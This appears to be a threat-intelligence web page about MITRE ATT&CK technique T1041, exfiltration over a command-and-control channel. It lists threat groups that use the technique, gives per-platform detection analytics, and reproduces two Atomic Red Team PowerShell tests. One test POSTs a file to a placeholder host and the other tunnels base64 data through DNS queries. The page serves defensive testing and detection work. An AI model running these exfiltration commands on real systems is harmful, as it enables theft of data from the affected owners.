tfMITRE ATT&CK technique

Exfiltration Over C2 Channel T1041

Tactic: Exfiltration
Platforms: ESXi, Linux, macOS, Windows
Version: 2.3
Created: 31 May 2017
Last modified: 12 May 2026
Contributor: William Cain

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 6%

Threat groups94th percentile · 94% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 3%

Campaigns97th percentile · 97% of ATT&CK techniques have this many campaigns recorded or fewer.

166

Tools & malwareTop 2%

Tools & malware98th percentile · 98% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 16%

Detection rules84th percentile · 84% of ATT&CK techniques have this many detection rules written or fewer.

Exfiltration Over C2 Channel MITRE reference T1041

Top 6%of all ATT&CK techniques for number of groups

27 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

VOID MANTICOREG1055 ↗

Malware has exfiltrated collected data via Telegram bot C2 channels using encrypted communications.1

created 2026-04-201 referenceaka COBALT MYSTIQUE

Contagious InterviewG1052 ↗

Has exfiltrated data from a compromised host to actor-controlled C2 servers.1 2 3 4 5 6 7 8 9 10

created 2025-10-1910 referencesaka DeceptiveDevelopment

BlackByteG1043 ↗

Transmitted collected victim host information via HTTP POST to command and control infrastructure.1

created 2024-12-161 referenceaka Hecamede

Winter VivernG1035 ↗

Delivered a PowerShell script capable of recursively scanning victim machines looking for various file types before exfiltrating identified files via HTTP.1

created 2024-07-291 referenceaka TA473

AgriusG1030 ↗

Exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers.1

created 2024-05-211 referenceaka Pink Sandstorm

Scattered SpiderG1015 ↗

Has exfiltrated data from compromised VMware vCenter servers through an established C2 channel using the Teleport remote access tool.1

created 2023-07-051 referenceaka Roasted 0ktapus

All 27 groups for this technique · 6 newest in this preview

Offense vs defense T1041

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 10Sigma rules (cumulative) · 6Splunk ESCU (cumulative) · 10

first rule: 2017 Q2 · 10 of 10 campaigns plotted

Exfiltration Over C2 Channel detection strategy DET0348

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Exfiltration Over C2 Channel

Enterprise

4 platforms

AN0988 · Windows

Identifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File AccessDC0055	WinEventLog:Security	EventCode=4663, 4670, 4656
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	NSM:Flow	Flow/PCAP analysis for outbound payloads

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DataVolumeThreshold	Set threshold for outbound transfer size exceeding typical C2 traffic (e.g., >1MB in <5min).
KnownBenignProcesses	List of approved processes that may exhibit high outbound traffic (e.g., updates).

AN0989 · Linux

Monitors for processes reading sensitive files then immediately initiating unusual outbound connections or bulk transfer sessions over persistent sockets, particularly with encrypted or binary payloads.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Network Traffic FlowDC0078	NSM:Flow	session stats with bytes_out > bytes_in
Network Connection CreationDC0082	auditd:SYSCALL	connect
Network Traffic ContentDC0085	NSM:Flow	conn.log + files.log + ssl.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
OutboundEntropyScore	Threshold for high-entropy payloads indicative of encoded or encrypted exfil data.
ConnectionDuration	Defines length of time over which transfer size must be aggregated to trigger detection.

AN0990 · macOS

Detects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:osquery	process_events
Network Traffic FlowDC0078	macos:osquery	socket_events
Network Traffic ContentDC0085	macos:unifiedlog	eventMessage = 'open', 'sendto', 'connect'

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcessAncestry	Enables defenders to tune legitimate vs. suspicious lineage (e.g., launchd → curl is uncommon).
ProtocolList	Focus detection on unusual protocols (e.g., IRC, FTP, DNS over HTTPS).

AN0991 · ESXi

Detects VMs sending outbound traffic through non-standard services or to unknown destinations. Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File AccessDC0055	esxi:syslog	guest OS outbound transfer logs
Network Traffic FlowDC0078	esxi:vpxa	connection attempts and data transmission logs
Network Traffic ContentDC0085	esxi:vmkernel	network stack module logs

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
GuestOSAllowList	Limit detection to sensitive or externally-exposed VMs handling confidential data.
TransferSizeThresholdMB	Minimum outbound transfer size before flagging anomalous C2-based exfiltration.
ProtocolAllowList	Define expected protocols for outbound data (e.g., disallow FTP/SCP over high ports).

Tests2ExecutorsPowerShell 2Need elevation0 of 2Have prerequisites0Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

C2 Data Exfiltration

windows

PowerShell

—

Exfiltrates a file present on the victim machine to the C2 server.

Input arguments

Name	Type	Default	Description
filepath	path	$env:TEMP\LineNumbers.txt	The file which is being exfiltrated to the C2 Server.
destination_url	string	example.com	Destination URL to post encoded data.

Attack command

if(-not (Test-Path #{filepath})){ 
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive

GUID81116420-0907-424d-a403-613a6dab292c

Text Based Data Exfiltration using DNS subdomains

windows

PowerShell

—

Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.

Input arguments

Name	Type	Default	Description
chunk_size	integer	63	Size of each DNS query chunk (in characters).
dns_server	url	dns.example.com	DNS server IP address or domain name.
exfiltrated_data	string	SecretDataToExfiltrate	Data to be exfiltrated.

Attack command

$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
    $dnsQuery = $chunk + "." + $dnsServer
    Resolve-DnsName -Name $dnsQuery
    Start-Sleep -Seconds 5
}

GUIDdaf3f15a-8561-41be-88a1-8293785b1375

Tests from Atomic Red Team (MIT licence) · technique definition

Exfiltration Over C2 Channel detections T1041

16 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 16%of all ATT&CK techniques for number of rules

Product

(none) 1

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs